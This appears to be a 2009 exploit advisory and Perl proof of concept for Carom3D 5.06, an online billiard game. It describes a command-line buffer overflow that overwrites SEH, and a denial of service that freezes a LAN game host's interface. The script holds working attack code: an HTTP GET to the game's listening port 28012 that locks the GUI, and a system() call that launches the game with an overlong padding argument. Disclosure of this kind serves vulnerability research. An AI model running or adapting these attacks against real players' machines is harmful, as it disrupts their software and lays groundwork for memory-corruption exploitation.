23 June, 2009
17 June, 2009
15 June, 2009
Carom3D 5.06 Unicode Buffer Overrun/Denial Of Service Vulnerability
#!/usr/bin/perl
#
# Title: Carom3D 5.06 Unicode Buffer Overrun/Denial Of Service Vulnerability
#
#
# Summary: Carom 3D is an online multi-user billiard game created with special
# 3D graphic effects bringing every aspect such as 6 ball, 9 ball, 8
# ball and other Billiard games to life.
#
# Product Web Page: http://www.carom3d.com/
#
# Description: The world famous korean game Carom3D suffers from a buffer overflow
# and a denial of service vulnerability. The BoF is triggered at
# runtime when we append 218 > bytes as an argument. ~1000 bytes
# overwrites SEH. The denial of service is triggered when a user
# creates a LAN Game (cred. needed), creates a room and awaits
# other players to join the game. While awaiting (listening on port
# 28012), with a simple HTTP GET/POST, an attacker can lockdown
# the GUI of the user created the room, not alowing to start or
# even exit the game's GUI, unless forced quit (X).
#
# Tested On: Microsoft Windows XP Professional SP3 (English)
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#
# liquidworm gmail com
#
# http://www.zeroscience.org/
#
# 15.06.2009
#
# ----------------------------------DoS---------------------------------- #
use LWP::Simple;
my $url = 'http://192.168.1.3:28012';
my $lockdown = get $url;
die "Couldn't get $url" unless defined $lockdown;
# You can Ctrl+C, the lockdown is ON.
# ---------------------------------/DoS---------------------------------- #
###########################################################################
# ----------------------------------BoF---------------------------------- #
# Added 217 bytes as argument = runs normally.
# Added 218 bytes as argument triggers the MS VC++ Runtime Library
# 'Buffer Overrun' error msg box informing us that the program's
# internal state is corrupted.
system('C:\\Progra~1\\Neoact\\Carom3D\\carom.exe AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
# ---------------------------------/BoF---------------------------------- #
http://zeroscience.org/codes/carom3d.txt
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